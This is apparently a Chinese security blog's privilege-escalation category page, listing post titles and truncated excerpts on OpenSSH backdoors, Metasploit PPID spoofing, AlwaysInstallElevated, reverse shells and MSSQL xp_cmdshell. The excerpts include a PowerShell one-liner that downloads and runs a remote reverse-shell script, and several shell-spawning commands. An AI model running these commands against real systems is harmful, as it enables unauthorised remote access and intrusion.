提权

搜索当前分类

搜索

linux通用openssh后门

lsh4ck 3年前 284 0

Meterpreter + PPID Spoofing — MSF的父进程PPID欺骗—Blending into the Target Environment

lsh4ck 5年前 587 0

父进程PPID欺骗 https://github.com/rapid7/metasploit-framework/pull/12736/files

AlwaysInstallElevated 特权安全提权 3

lsh4ck 5年前 547 2

Windows环境提供组策略设置，允许常规用户安装具有系统权限的Microsoft Windows Installer程序包（MSI）。这可以在标准用户想要安装需要系统权限的应用程序的环境中发 现，并且管理员希望避免向用户提供临时本地管理员访问权限。Windows环境提供组策略设...

Get shell By Powershell

lsh4ck 6年前 266 0

Invoke-PowerShellTcp.ps1 powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/s...

Node.js反向Shell

lsh4ck 6年前 347 0

如下的Javascript就是一个Node.js的反向连接shell 这个payload将会生成一个/bin/sh的shell，创建一个TCP连接到攻击者的服务器，并且在通信数据流中绑定shell命令。 为了优雅的执行payload，我们还需要一些小技巧，我们将反向连接shell...

Mssql 常规提权 [ 基础利用 ]

lsh4ck 6年前 712 0

Spawning a TTY Shell-逃逸linux各种shell来执行命令

lsh4ck 6年前 905 0

python -c 'import pty; pty.spawn("/bin/sh")' echo os.system('/bin/bash') /bin/sh -i perl —e 'exec "/bin/sh";' perl: exec...

PHP版ms17-010

lsh4ck 6年前 526 0

jsp版本lcx

lsh4ck 6年前 205 0

https://www.lshack.cn/lcx.jsp m = listen 需要参数:lp、lp2 该模式下，会在本地监听两个端口，相互转发数据 m = tran 需要参数：lip、lp、rip、rp 该模式为正向转发下，会在本地的lip上监听lp端口，当有连接建立时，再连...

Mssql的xp_cmdshell组件执行FTP命令

lsh4ck 6年前 889 0

情况较为特殊，只有目录C:\Windows\Temp\，有上传权限： 这里下载的文件默认下载到c:\user\你当前用户名 目录下方，但是这个目录没可写。即便下载了也没戏，因为根本没存进去。 于是接着执行，（先cd到可执行目录，然后在执行ftp，这样就下载到了指定的目录。） cd...